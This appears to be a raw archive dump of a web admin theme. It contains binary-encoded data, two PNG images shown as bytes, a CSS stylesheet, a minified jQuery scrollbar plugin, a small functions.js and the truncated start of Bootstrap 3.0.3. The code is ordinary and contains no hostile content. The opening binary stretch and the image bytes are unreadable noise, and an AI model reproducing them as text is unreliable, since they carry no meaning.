S�%$���OٯJ�8`R2#C�z&�=�w��7\��/�|_'����cZ���W�M+�����1e.��NJ2�L��YI":Ϙ_�Ul8��dT3I9�,�ҙT�K����5IdrK%��J�'%V^O����9@{./��/)ڞ��ܙ�����w)Z���N��"�8�6��H�e�s��+\�\��k����v�;�ЂM{�7�S�ۦ�2��(����(��k�B�51"ءZ�h��u�g�M�d��l�_a���@�����q�*e�5����.�˥3�Eu,{��6��FC��ze�����H �� ��SZ���ۀ�u���2PbQ��^�����EO���<�o�*K���1�:�D��bl�7@~`y�.ٴQ�{�j����?��y�_��ݮ�q�M�B{遵mZ�[��P�b�9�W�/ee���<�>�[e���+*�z�;L��L��u�P^��8�cb��l�Y��p�w��_��D��S�{�A����^K����q9��A��4�8� �����WZkU����*��
�p_��j)�FB�Q3F݊���;���}_�ϥ���S�ᰎ���Ӕj�b+�!or�r5.���jpu��45�	��!B�ۉ9D@��;X#kʽ:��A d#
'e�|�-��):����YT�5_�]2�6���Ⱦ�xR3�g4��i\��|�2�.�p�/��m�4ͯJb�=8kR+Rr?{�"���c̠d�dL��*�Ń�R1$�Ād�/�n�(qXҸUo
��>�Iڨ��
Ԣ5�Y4�$q\'	(��Bsۇ	�.�K���L�Xu2Ó�oD�HC�)"���DvZ�
04#�ݜ�?#GA��Zo�fpK(j���6ƙ��fv�4,H��2�b�Nr!�n���vΙ=�VPIyw H!Z�A��2$-��|��îi��.�v�5$W��1���מh�����xO��?�a��|�q��E�&+�@�B�9��g�5Șh�K��N��1ن^*�ٳb�͛6*�w�/��o���n'�)��)ß�ɯ���Ϝ.M��{m��:����?�V_�_=�F�
���n��8|�j��W��o�9�x8��.V���!G%���b�aL[��Qs�觑��w8
�
��X��	5]@D��M2����̚� �C�I��on��RI�U�fc��f�rL���p����e�4���lE�8�l+��*��h�\ڬ�5�����:v��}:�h�����s��̷c��b�ü�B�Fi(���2]��䵍X��Sɺt����却�%����ڿ<Ɯ�M�ӽ��4NJ{��/�SmB�q�'#�ZM�ܻ(�m�gC�� ��G�GA�ƗKq�(J#v�^|yd8�4_(X��t���[���?i���ߗ�H�8���ʏ�~k�f�ͪ�*mL#�֍y�K�$���~��ޡ�?�|�S���n��O���}�g��I�_@o�[t��>�U�8��W�\�mJr�]��+����o�0��7�)7�<��cA��;�JG�6r ��fn8pƉ�Ժ�I���`��2L�l�e�ee��Z�H�^�,�h[�^J#i?�1�K'�
��5��N^u�4�k��| W�MSr���u���eo�XF"��A�ʽ�M����z�ִ9��b0��p_�J�9[]?�ՍA%i�L��U���Pu��������5�F��d*j���9,]�7|�(Ypuy����ţ8��e��D���8:ฆM�x��›��*��'M�Jƀ�Bӵ����3��7C�5[a4u�#��|�E�{O��,�z��9D���O�Np�@HW}:ӭH�}5F��FE�4}VyTްT�W�M�-�$�d�D�E8������T���7�<0>��C��d��@Ȍ^n��5��^N۟Q��%<��rO@��.XK "1��R�.�W��U���	}8�!n��#������־Rӗ�^�Μet�
��$>}�yKLF�mb�H�������v�i��C-��^Y[r�{䡎1&@Q�6�ڌ�#R�q�:!�$�bY�՘�I=I9���2ƊY�.��f�*����L��~*�5*B�Rz����ߖ���\��CI'⿘�wG���[�gt�ߐ<��Xխ-����JO� ����d1����ys��~bT�����qswT��H��ga����׋#^ꎆ7��UN�G�=>�d�{�:�]\
��Sn�A��n�0�
p��z��o���J�w��7���ʸ�ۑ������9��eBq�8��2=�<ù��3y;K!�.:X�6>���K+�cL������{v��0T�R[�͸�KkFX����a�E
�=��X[P0J�q����m։���`)25d� �;b�6�sqeIF`�jgH�.�ӌ����w�d�+��5�)�x�[�P��;Σ�Ց�F�}6�F�d����E���F˰�C{�NK�[VXH�@�5�v��{o
	'~
zj�62c��|&q��ÔLjBDw��<�n���R��8ƃ��?��.����]�����.�OږZmO�<���W�4+)5�H���U���Q���i�/��4�j��P���~��d#�	�gryy7e�JX1���G��E�jw�Ρ>���e���ǰ��\��˖��͗�k��Bh,Ā�����PS����@
�N�:�f���Z�\����GU{���?�������="��"���kh���������t�%��#)w6F5�iV$T@DPt
���qrՠ«��MNS)7�J�׏��Qyz@;�n�) �j���TK|b֣yRw�/�~����ܖ=p�9W�,�����p�a}���N|q��Nb�v�%�Z,��u��.��J9�e�Gdž���MiL��!с�c��*����n2���.@�����|re�r�
+͜-�D}��j/b)�.��qB\Lac�x�gX�[��B��6�2��Zd��6Z�0���&4�6���FO�������A,`�)L,Ԯ��C��v�椌#���j��5��s mF��s�r�p�g&H��w
�6�r�(�r)�_3�i���bĠ��!� W:����(UQ@2'���g�5i-�x�� �c�⁀���jr����1�7y�X��X�+\�yB�^�u�c��m-[b���l���'��&y[�)�k�������"mķ����)��U�
�&��[����?�`�Ƈ����#y��W�}�K
�l����)o��?��#��cP��ҧ6����S��;�1���?��b����}����m���m�S�ȿs�T�A|u�3�뿒�X�9K��.�9�$����b��O��&smo��Z/)"�]V�j}k��;�����aYX�V�F�Uh�M�'��F�1J�@9�,?-Θ!�/�!�r9�Y8�y�M(������t���?�CK��u��D���j�f#�>�S�$�zgd�ju;�e.���o�Q��Aq9n�׀wʥ&�����e@jpE֠��1��և)��Ʉ{�o��.g�q�<����p2P��5�+�>F�yo������={�J�Z�F�pX�|��|sMF��j��	�joH�'��:��[�2-Gp%|�1��F��l�i�њ5T���;P��Wz��ݾ�<��ڙ�=:�rŻluQRӼ����S�Gx�n�m�{��wP957'��ѭ��I�
Pt�`(�'V�n>\�G�/�;e�Q�c���4ڜ��I�a���E�m*ry*�ӊ����5B� �J퀤+�Oy��R���n%H�;y�u��Hބ2W�pΕB:�G�/,e/�7Ue%J���ᶏ���-f��?\H��W�Փ��r��<��lF̎2w�2�A4_͏-�<bԹ�S�߿����gO���y7���I�eI�jd`��،��<�YsW���G���0D�$��ggi"
��K�ؤ-�fg����9b)��J�40Hf����]��R���n'�!-"(*9O2�@�%�����?6��]
���|�e�T���Ve�*���>�������%�Z�O��+�
Lq��Ȝ�����V�&�ԝ�=����vĚ�.J!��5�%	`*"�TP({���]]�| ��(

r�K�ˌ;��H-w��^BO���/RN\�P�����>�!��Y5�z��
9cA���"�V��=p;5
1�؄�C����4Ł
��[W���^	偹D�N$U��@L�N�B	�Tv`w�����c�8��0Ye¼J�Ke�\[H��A�bȻ�l�{����Ko3~�v�9խ����T��&�y���;ށ�Xn�J�
AQ\bVQ<�a�����I����ҳ
�=�K�`���w�R�KykT��}Gɶ7��o,b���|FMx�iA��!".��M���.�|��$^���;�Zv���u�]�n���-�����.z�~K��f��=!���krJ��o�is���[=��^��'�����߳��b\����l����5[}n�n��Km����[H{,2gJ�<��0�:m�z��k7��_cѳϓi-4�����n?�#|���ş�7Wo��,>%�#�y
�ڲBؑ~O�.fKhZG!Gc]��y��ߐ2�os�I�V(>�.���1j�p�}J�BY�1>'$q����F���o���ҘIq��zS!��S�9�܍�1��M��[�����˶G��fH;}�����!�X+��/(����"�Y����r���[c�?�I�<�8�}�X��>�+8�m�,e�m-\8�ǧʘMe��iM�&}-����,PBpb�^ذ�j�)2r�$�!���*�`�d1��[�U-���2�t4#!�FT��-7W�Ѐ�E0��=��T�1zV��	��v�ɮ��g����p��X���$$�����J�Y�i��p�*H����]EX$�8�\�B9t��oK+E$�d��P�N�w�c��{���X��Pw(|�8]�O��I,t��U��ry�)�ievvcR�ԓ��i1�wOf����BI�N�[�?ݎk�6>L	'���h�`IW�C�Mω�/T`�Y$S
��Y�;���\ޤv���^�-uzඵ��1Ӕ��vXo���d=�,zb^�������`\��⾑�r4�i=��#2ƙ!��x�S�AP�d;���}>���Vp�1.���Q/ǯ{�����,"�G�X��jf!.�
���T��ʂ6�C�>5���[�
)O�!��V F��
)�Pew��pY���|zۚ���U����j��${��R;}�7O$�L���L�Z�T���G]�p���(��Az��1@���cAɘ�q�?~b˨J�V�_�����r����/�v�A�w0=��]���肣2 6��™����?&;xa�6��-R�9?\y���c96�L��W5���t�-I������i^�d���I�8:-9@���ҥ�Hz�`�O�kq��-��9.�-��Gr�I���tlcn�W�����A��(�5�.��P�~�/���;�G�5����XmL.�.���+����b���sܨ�,�Ȏ�F*#
�z��158�S~4߶H�B�p�Ņ�|UT��낣���K��� ��W�)��4�R8�rv=1X�����x�p�&˜���M��+o��b�3���S$�۞���t�'�&�A	����RH� �n��p���4a�1�d�D�9�mBfbMԱ�����\
=�[�‰�^f����捽�R@;ar����>;vm� �(�c�V�l�GO����L��cy��
���l1�Bz�N����U�&f)LD� Sw���b$o�m�N �bզ0����͗Ʋ0�k=z�����`W�Յ�'���
����7�O��=������
�|0DpTn:t9p�|�<7��ǖ�DS3j1@���
HZ�z�e���g��J��W&�u!��z`�m�G��E�r���#�yoNXPmB+2�$`��
+J��8Szb�Ҧ��J.PA��D�8��o�mBi+�H�|���T����sϗ������吭ڲ�n�r�5O���뎇�>XW�M��_�
�QiLͅ
׮Z�e|����F8��|TR����5śj�*�pm��\a劮'[7ō5����r�67zb����?|��W��images/sprite-skin-flat.png000060400000000540150710775200011712 0ustar00�PNG


IHDR��?PLTE����������������������������Ue�_l�an�gt�hu�DS�IR�GQ�MW�NX�3>n�&	tRNS%'(�����D��IDATx^�ٱMA�߽��H`@����, �y/�r���y	DADAD*u�}�5�����Ƭ�-�{�񐳮�!�!=5�{�0��ܸ+�Gg_k���z��ADADA���wH��ADADADA��_��;��OADADADA��o�ޅ�^|�IEND�B`�images/line.png000060400000001114150710775200007443 0ustar00�PNG


IHDR<
��
zIDATx^��MHTQ�����>jA���qc�R�2��RPhB1]
n��Qm2HB$taEP Bm�8���.�%ď��s�ǃ.\T?x��l��s.
ovSX�^�x��
؏�� ���ua���}H"
=
�`7�F:q4,x}x	_�ΡC��Z%�Cj`�
jѮ�}t�D�t��(��8<�HJ�q�F��mE8�*����c�{��8)�$6�,�?�zq\Sm�1,8�:����m����9�N�+�GزW�=����.����MuR��L����hv�&0�x����h��<�5��<� �	Gl�p�q�$��7L��]pc��|�/���C�R/�e�`��G��)�eDa���\�6�rZC
�قcƝ��wu�m�\�,�V�(�����Nۢ��_����ك� �E�}�z������&ڰ�Z$vUb�♊>�~#�^J9Lb
��xT�!�w�4z$8����S9�1m�٘��"�j�3�#�_�߼��[f��8��@IEND�B`�custom.css000060400000004775150710775200006605 0ustar00.col-margin-15 {
	padding: 0;
	margin: 15px;
}

.col-overflow-x {
	overfow: hidden;
	overflow-x: scroll;
	overflow-y: hidden;
	width: 100%;
	max-width: 1000px;
}

.col-overflow-x table {
	width: 100%;
}

.no-wrap thead tr th {
	white-space: nowrap;
}

.container-liquid {
	min-height: 1060px;
	max-width: 1600px;
	overflow: hidden;
	overflow-x: auto;
}

.user .logo {
	float: left;
	padding-top: 15px;
	margin-left: 10px;
}

.logo img {
	max-width: 180px;
}

.right-sec .search-box input[type="text"] {
	width: auto;
}

.text-not-remise {
	
}

.text-remise-price-old {
	text-decoration: line-through;
	white-space: nowrap;
}

.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td
	{
	padding: 10px;
}

.gallerybox {
	float: none;
}

.gallerybox li a img,.gallerybox img {
	max-width: 100px;
	max-height: 100px;
	/*height: 100px;*/
	width: 100px;
	border: #ccc 1px solid;
	padding: 2px;
}

.gallerybox li {
	width: auto;
	float: none;
}

.table>tbody>tr>td {
	vertical-align: middle;
}

.table tbody tr.nostriped {
	background-color: white;
}

.no-space-top {
	margin-top: 0;
	padding-top: 0;
}

.no-space-side,.table>tbody>tr>td.no-space-side {
	padding-right: 0px;
	padding-left: 0px;
	margin-right: 0px;
	margin-left: 0px;
}

.no-space {
	margin: 0;
	padding: 0;
}

.modal {
	overflow: hidden;
}

.modal-open {
	overflow: visible;
}

.no-wrap {
	white-space: nowrap;
}

.header-single {
	font-size: 15px;
	color: #323641;
	font-weight: bold;
	vertical-align: bottom;
	padding: 16px 20px;
	background-color: #f4f4f4;
}

.header-single-line {
	border-bottom: 1px solid #e6e7e8;
}

.iCheck-error {
	position: absolute;
	top: 0%;
	left: 0%;
	display: block;
	width: 100%;
	height: 100%;
	margin: 0px;
	padding: 0px;
	background-color: rgb(255, 255, 255);
	border: 0px;
	opacity: 0;
	background-position: initial initial;
	background-repeat: initial initial;
}

/* invoice */
.invoice-box .invoice-content {
	overflow: hidden;
}

.invoice-box .invoice-content .table-left {
	float: left;
}

.invoice-box .invoice-content .table-right {
	float: right;
}

.invoice-box .invoice-content td {
	text-align: right;
}

.invoice-box .invoice-content td.meta-head {
	text-align: left;
	background: #eee;
	width: 140px;
}

.invoice-box .invoice-content td textarea {
	width: 100%;
	height: 20px;
	text-align: right;
}

.invoice-box .table.no-border-top {
	border-top: none;
}

.invoice-box .table.no-border-bottom {
	border-bottom: none;
}

.invoice-box .invoice-content td.text-center {
	text-align: center;
}js/jquery.custom-scrollbar.min.js000060400000034576150710775200013130 0ustar00(function(e){e.fn.customScrollbar=function(i,t){var o={skin:undefined,hScroll:true,vScroll:true,updateOnWindowResize:false,animationSpeed:300,onCustomScroll:undefined,swipeSpeed:1,wheelSpeed:40,fixedThumbWidth:undefined,fixedThumbHeight:undefined};var s=function(i,t){this.$element=e(i);this.options=t;this.addScrollableClass();this.addSkinClass();this.addScrollBarComponents();if(this.options.vScroll)this.vScrollbar=new n(this,new r);if(this.options.hScroll)this.hScrollbar=new n(this,new l);this.$element.data("scrollable",this);this.initKeyboardScrolling();this.bindEvents()};s.prototype={addScrollableClass:function(){if(!this.$element.hasClass("scrollable")){this.scrollableAdded=true;this.$element.addClass("scrollable")}},removeScrollableClass:function(){if(this.scrollableAdded)this.$element.removeClass("scrollable")},addSkinClass:function(){if(typeof this.options.skin=="string"&&!this.$element.hasClass(this.options.skin)){this.skinClassAdded=true;this.$element.addClass(this.options.skin)}},removeSkinClass:function(){if(this.skinClassAdded)this.$element.removeClass(this.options.skin)},addScrollBarComponents:function(){this.assignViewPort();if(this.$viewPort.length==0){this.$element.wrapInner('<div class="viewport" />');this.assignViewPort();this.viewPortAdded=true}this.assignOverview();if(this.$overview.length==0){this.$viewPort.wrapInner('<div class="overview" />');this.assignOverview();this.overviewAdded=true}this.addScrollBar("vertical","prepend");this.addScrollBar("horizontal","append")},removeScrollbarComponents:function(){this.removeScrollbar("vertical");this.removeScrollbar("horizontal");if(this.overviewAdded)this.$element.unwrap();if(this.viewPortAdded)this.$element.unwrap()},removeScrollbar:function(e){if(this[e+"ScrollbarAdded"])this.$element.find(".scroll-bar."+e).remove()},assignViewPort:function(){this.$viewPort=this.$element.find(".viewport")},assignOverview:function(){this.$overview=this.$viewPort.find(".overview")},addScrollBar:function(e,i){if(this.$element.find(".scroll-bar."+e).length==0){this.$element[i]("<div class='scroll-bar "+e+"'><div class='thumb'></div></div>");this[e+"ScrollbarAdded"]=true}},resize:function(e){if(this.vScrollbar)this.vScrollbar.resize(e);if(this.hScrollbar)this.hScrollbar.resize(e)},scrollTo:function(e){if(this.vScrollbar)this.vScrollbar.scrollToElement(e);if(this.hScrollbar)this.hScrollbar.scrollToElement(e)},scrollToXY:function(e,i){this.scrollToX(e);this.scrollToY(i)},scrollToX:function(e){if(this.hScrollbar)this.hScrollbar.scrollOverviewTo(e,true)},scrollToY:function(e){if(this.vScrollbar)this.vScrollbar.scrollOverviewTo(e,true)},remove:function(){this.removeScrollableClass();this.removeSkinClass();this.removeScrollbarComponents();this.$element.data("scrollable",null);this.removeKeyboardScrolling();if(this.vScrollbar)this.vScrollbar.remove();if(this.hScrollbar)this.hScrollbar.remove()},setAnimationSpeed:function(e){this.options.animationSpeed=e},isInside:function(i,t){var o=e(i);var s=e(t);var n=o.offset();var l=s.offset();return n.top>=l.top&&n.left>=l.left&&n.top+o.height()<=l.top+s.height()&&n.left+o.width()<=l.left+s.width()},initKeyboardScrolling:function(){var e=this;this.elementKeydown=function(i){if(document.activeElement===e.$element[0]){if(e.vScrollbar)e.vScrollbar.keyScroll(i);if(e.hScrollbar)e.hScrollbar.keyScroll(i)}};this.$element.attr("tabindex","-1").keydown(this.elementKeydown)},removeKeyboardScrolling:function(){this.$element.removeAttr("tabindex").unbind("keydown",this.elementKeydown)},bindEvents:function(){if(this.options.onCustomScroll)this.$element.on("customScroll",this.options.onCustomScroll)}};var n=function(e,i){this.scrollable=e;this.sizing=i;this.$scrollBar=this.sizing.scrollBar(this.scrollable.$element);this.$thumb=this.$scrollBar.find(".thumb");this.setScrollPosition(0,0);this.resize();this.initMouseMoveScrolling();this.initMouseWheelScrolling();this.initTouchScrolling();this.initMouseClickScrolling();this.initWindowResize()};n.prototype={resize:function(e){this.scrollable.$viewPort.height(this.scrollable.$element.height());this.sizing.size(this.scrollable.$viewPort,this.sizing.size(this.scrollable.$element));this.viewPortSize=this.sizing.size(this.scrollable.$viewPort);this.overviewSize=this.sizing.size(this.scrollable.$overview);this.ratio=this.viewPortSize/this.overviewSize;this.sizing.size(this.$scrollBar,this.viewPortSize);this.thumbSize=this.calculateThumbSize();this.sizing.size(this.$thumb,this.thumbSize);this.maxThumbPosition=this.calculateMaxThumbPosition();this.maxOverviewPosition=this.calculateMaxOverviewPosition();this.enabled=this.overviewSize>this.viewPortSize;if(this.scrollPercent===undefined)this.scrollPercent=0;if(this.enabled)this.rescroll(e);else this.setScrollPosition(0,0);this.$scrollBar.toggle(this.enabled)},calculateThumbSize:function(){var e=this.sizing.fixedThumbSize(this.scrollable.options);var i;if(e)i=e;else i=this.ratio*this.viewPortSize;return Math.max(i,this.sizing.minSize(this.$thumb))},initMouseMoveScrolling:function(){var i=this;this.$thumb.mousedown(function(e){if(i.enabled)i.startMouseMoveScrolling(e)});this.documentMouseup=function(e){i.stopMouseMoveScrolling(e)};e(document).mouseup(this.documentMouseup);this.documentMousemove=function(e){i.mouseMoveScroll(e)};e(document).mousemove(this.documentMousemove);this.$thumb.click(function(e){e.stopPropagation()})},removeMouseMoveScrolling:function(){this.$thumb.unbind();e(document).unbind("mouseup",this.documentMouseup);e(document).unbind("mousemove",this.documentMousemove)},initMouseWheelScrolling:function(){var e=this;this.scrollable.$element.mousewheel(function(i,t,o,s){if(e.enabled){if(e.mouseWheelScroll(o,s)){i.stopPropagation();i.preventDefault()}}})},removeMouseWheelScrolling:function(){this.scrollable.$element.unbind("mousewheel")},initTouchScrolling:function(){if(document.addEventListener){var e=this;this.elementTouchstart=function(i){if(e.enabled)e.startTouchScrolling(i)};this.scrollable.$element[0].addEventListener("touchstart",this.elementTouchstart);this.documentTouchmove=function(i){e.touchScroll(i)};document.addEventListener("touchmove",this.documentTouchmove);this.elementTouchend=function(i){e.stopTouchScrolling(i)};this.scrollable.$element[0].addEventListener("touchend",this.elementTouchend)}},removeTouchScrolling:function(){if(document.addEventListener){this.scrollable.$element[0].removeEventListener("touchstart",this.elementTouchstart);document.removeEventListener("touchmove",this.documentTouchmove);this.scrollable.$element[0].removeEventListener("touchend",this.elementTouchend)}},initMouseClickScrolling:function(){var e=this;this.scrollBarClick=function(i){e.mouseClickScroll(i)};this.$scrollBar.click(this.scrollBarClick)},removeMouseClickScrolling:function(){this.$scrollBar.unbind("click",this.scrollBarClick)},initWindowResize:function(){if(this.scrollable.options.updateOnWindowResize){var i=this;this.windowResize=function(){i.resize()};e(window).resize(this.windowResize)}},removeWindowResize:function(){e(window).unbind("resize",this.windowResize)},isKeyScrolling:function(e){return this.keyScrollDelta(e)!=null},keyScrollDelta:function(e){for(var i in this.sizing.scrollingKeys)if(i==e)return this.sizing.scrollingKeys[e](this.viewPortSize);return null},startMouseMoveScrolling:function(i){this.mouseMoveScrolling=true;e("html").addClass("not-selectable");this.setUnselectable(e("html"),"on");this.setScrollEvent(i)},stopMouseMoveScrolling:function(i){this.mouseMoveScrolling=false;e("html").removeClass("not-selectable");this.setUnselectable(e("html"),null)},setUnselectable:function(e,i){if(e.attr("unselectable")!=i){e.attr("unselectable",i);e.find(":not(input)").attr("unselectable",i)}},mouseMoveScroll:function(e){if(this.mouseMoveScrolling){var i=this.sizing.mouseDelta(this.scrollEvent,e);this.scrollThumbBy(i);this.setScrollEvent(e)}},startTouchScrolling:function(e){if(e.touches&&e.touches.length==1){this.setScrollEvent(e.touches[0]);this.touchScrolling=true;e.stopPropagation()}},touchScroll:function(e){if(this.touchScrolling&&e.touches&&e.touches.length==1){var i=-this.sizing.mouseDelta(this.scrollEvent,e.touches[0])*this.scrollable.options.swipeSpeed;var t=this.scrollOverviewBy(i);if(t){e.stopPropagation();e.preventDefault();this.setScrollEvent(e.touches[0])}}},stopTouchScrolling:function(e){this.touchScrolling=false;e.stopPropagation()},mouseWheelScroll:function(e,i){var t=-this.sizing.wheelDelta(e,i)*this.scrollable.options.wheelSpeed;if(t!=0)return this.scrollOverviewBy(t)},mouseClickScroll:function(e){var i=this.viewPortSize-20;if(e["page"+this.sizing.scrollAxis()]<this.$thumb.offset()[this.sizing.offsetComponent()])// mouse click over thumb
i=-i;this.scrollOverviewBy(i)},keyScroll:function(e){var i=e.which;if(this.enabled&&this.isKeyScrolling(i)){if(this.scrollOverviewBy(this.keyScrollDelta(i)))e.preventDefault()}},scrollThumbBy:function(e){var i=this.thumbPosition();i+=e;i=this.positionOrMax(i,this.maxThumbPosition);var t=this.scrollPercent;this.scrollPercent=i/this.maxThumbPosition;var o=i*this.maxOverviewPosition/this.maxThumbPosition;this.setScrollPosition(o,i);if(t!=this.scrollPercent){this.triggerCustomScroll(t);return true}else return false},thumbPosition:function(){return this.$thumb.position()[this.sizing.offsetComponent()]},scrollOverviewBy:function(e){var i=this.overviewPosition()+e;return this.scrollOverviewTo(i,false)},overviewPosition:function(){return-this.scrollable.$overview.position()[this.sizing.offsetComponent()]},scrollOverviewTo:function(e,i){e=this.positionOrMax(e,this.maxOverviewPosition);var t=this.scrollPercent;this.scrollPercent=e/this.maxOverviewPosition;var o=this.scrollPercent*this.maxThumbPosition;if(i)this.setScrollPositionWithAnimation(e,o);else this.setScrollPosition(e,o);if(t!=this.scrollPercent){this.triggerCustomScroll(t);return true}else return false},positionOrMax:function(e,i){if(e<0)return 0;else if(e>i)return i;else return e},triggerCustomScroll:function(e){this.scrollable.$element.trigger("customScroll",{scrollAxis:this.sizing.scrollAxis(),direction:this.sizing.scrollDirection(e,this.scrollPercent),scrollPercent:this.scrollPercent*100})},rescroll:function(e){if(e){var i=this.positionOrMax(this.overviewPosition(),this.maxOverviewPosition);this.scrollPercent=i/this.maxOverviewPosition;var t=this.scrollPercent*this.maxThumbPosition;this.setScrollPosition(i,t)}else{var t=this.scrollPercent*this.maxThumbPosition;var i=this.scrollPercent*this.maxOverviewPosition;this.setScrollPosition(i,t)}},setScrollPosition:function(e,i){this.$thumb.css(this.sizing.offsetComponent(),i+"px");this.scrollable.$overview.css(this.sizing.offsetComponent(),-e+"px")},setScrollPositionWithAnimation:function(e,i){var t={};var o={};t[this.sizing.offsetComponent()]=i+"px";this.$thumb.animate(t,this.scrollable.options.animationSpeed);o[this.sizing.offsetComponent()]=-e+"px";this.scrollable.$overview.animate(o,this.scrollable.options.animationSpeed)},calculateMaxThumbPosition:function(){return this.sizing.size(this.$scrollBar)-this.thumbSize},calculateMaxOverviewPosition:function(){return this.sizing.size(this.scrollable.$overview)-this.sizing.size(this.scrollable.$viewPort)},setScrollEvent:function(e){var i="page"+this.sizing.scrollAxis();if(!this.scrollEvent||this.scrollEvent[i]!=e[i])this.scrollEvent={pageX:e.pageX,pageY:e.pageY}},scrollToElement:function(i){var t=e(i);if(this.sizing.isInside(t,this.scrollable.$overview)&&!this.sizing.isInside(t,this.scrollable.$viewPort)){var o=t.offset();var s=this.scrollable.$overview.offset();var n=this.scrollable.$viewPort.offset();this.scrollOverviewTo(o[this.sizing.offsetComponent()]-s[this.sizing.offsetComponent()],true)}},remove:function(){this.removeMouseMoveScrolling();this.removeMouseWheelScrolling();this.removeTouchScrolling();this.removeMouseClickScrolling();this.removeWindowResize()}};var l=function(){};l.prototype={size:function(e,i){if(i)return e.width(i);else return e.width()},minSize:function(e){return parseInt(e.css("min-width"))||0},fixedThumbSize:function(e){return e.fixedThumbWidth},scrollBar:function(e){return e.find(".scroll-bar.horizontal")},mouseDelta:function(e,i){return i.pageX-e.pageX},offsetComponent:function(){return"left"},wheelDelta:function(e,i){return e},scrollAxis:function(){return"X"},scrollDirection:function(e,i){return e<i?"right":"left"},scrollingKeys:{37:function(e){return-10},39:function(e){return 10}},isInside:function(i,t){var o=e(i);var s=e(t);var n=o.offset();var l=s.offset();return n.left>=l.left&&n.left+o.width()<=l.left+s.width()}};var r=function(){};r.prototype={size:function(e,i){if(i)return e.height(i);else return e.height()},minSize:function(e){return parseInt(e.css("min-height"))||0},fixedThumbSize:function(e){return e.fixedThumbHeight},scrollBar:function(e){return e.find(".scroll-bar.vertical")},mouseDelta:function(e,i){return i.pageY-e.pageY},offsetComponent:function(){return"top"},wheelDelta:function(e,i){return i},scrollAxis:function(){return"Y"},scrollDirection:function(e,i){return e<i?"down":"up"},scrollingKeys:{38:function(e){return-10},40:function(e){return 10},33:function(e){return-(e-20)},34:function(e){return e-20}},isInside:function(i,t){var o=e(i);var s=e(t);var n=o.offset();var l=s.offset();return n.top>=l.top&&n.top+o.height()<=l.top+s.height()}};return this.each(function(){if(i==undefined)i=o;if(typeof i=="string"){var n=e(this).data("scrollable");if(n)n[i](t)}else if(typeof i=="object"){i=e.extend(o,i);new s(e(this),i)}else throw"Invalid type of options"})}})(jQuery);(function(e){var i=["DOMMouseScroll","mousewheel"];if(e.event.fixHooks){for(var t=i.length;t;){e.event.fixHooks[i[--t]]=e.event.mouseHooks}}e.event.special.mousewheel={setup:function(){if(this.addEventListener){for(var e=i.length;e;){this.addEventListener(i[--e],o,false)}}else{this.onmousewheel=o}},teardown:function(){if(this.removeEventListener){for(var e=i.length;e;){this.removeEventListener(i[--e],o,false)}}else{this.onmousewheel=null}}};e.fn.extend({mousewheel:function(e){return e?this.bind("mousewheel",e):this.trigger("mousewheel")},unmousewheel:function(e){return this.unbind("mousewheel",e)}});function o(i){var t=i||window.event,o=[].slice.call(arguments,1),s=0,n=true,l=0,r=0;i=e.event.fix(t);i.type="mousewheel";// Old school scrollwheel delta
if(t.wheelDelta){s=t.wheelDelta/120}if(t.detail){s=-t.detail/3}// New school multidimensional scroll (touchpads) deltas
r=s;// Gecko
if(t.axis!==undefined&&t.axis===t.HORIZONTAL_AXIS){r=0;l=s}// Webkit
if(t.wheelDeltaY!==undefined){r=t.wheelDeltaY/120}if(t.wheelDeltaX!==undefined){l=t.wheelDeltaX/120}// Add event and delta to the front of the arguments
o.unshift(i,s,l,r);return(e.event.dispatch||e.event.handle).apply(this,o)}})(jQuery);js/functions.js000060400000002354150710775200007532 0ustar00$(window).scroll(function() {    
    var scroll = $(window).scrollTop();

    if (scroll >= 145) {
        $(".effect").addClass("affix");
    } else {
        $(".effect").removeClass("affix");
    }
});

// Close and toggle buttons
$(document).ready(function () {
	$("div a.closethis").click(function(){
	  $(this).parent().hide();
	});
	$("a.togglethis").click(function(){
		$( this ).toggleClass( "clicked" );
	    $(this).parent().toggleClass("hidden-sec");
	});
});
// add scroll to div
$(document).ready(function() {
  $(".scroller").customScrollbar();
});

$(document).ready(function(){
    // tooltip demo
    $('.tooltip-demo').tooltip({
      selector: "[data-toggle=tooltip]",
      container: "body"
    })
	
	// popover demo
    $("[data-toggle=popover]")
      .popover()
	
	$(".alert").alert()
});
$(document).ready(function(){
	selectnav('nav1', {
	  label: 'Menu',
	  nested: true,
	  indent: '-'
	});
});
$(document).ready(function(){
	selectnav('nav2', {
	  label: 'Menu',
	  nested: true,
	  indent: '-'
	});
});
$(document).ready(function(){
	selectnav('nav3', {
	  label: 'Menu',
	  nested: true,
	  indent: '-'
	});
});
$(document).ready(function(){
	selectnav('nav4', {
	  label: 'Inbox Menu',
	  nested: true,
	  indent: '-'
	});
});js/bootstrap.min.js000060400000066256150710775200010334 0ustar00/*!
 * Bootstrap v3.0.3 (http://getbootstrap.com)
 * Copyright 2013 Twitter, Inc.
 * Licensed under http://www.apache.org/licenses/LICENSE-2.0
 */

if("undefined"==typeof jQuery)throw new Error("Bootstrap requires jQuery");+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]}}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(a.support.transition.end,function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b()})}(jQuery),+function(a){"use strict";var b='[data-dismiss="alert"]',c=function(c){a(c).on("click",b,this.close)};c.prototype.close=function(b){function c(){f.trigger("closed.bs.alert").remove()}var d=a(this),e=d.attr("data-target");e||(e=d.attr("href"),e=e&&e.replace(/.*(?=#[^\s]*$)/,""));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass("alert")?d:d.parent()),f.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one(a.support.transition.end,c).emulateTransitionEnd(150):c())};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data("bs.alert");e||d.data("bs.alert",e=new c(this)),"string"==typeof b&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on("click.bs.alert.data-api",b,c.prototype.close)}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d)};b.DEFAULTS={loadingText:"loading..."},b.prototype.setState=function(a){var 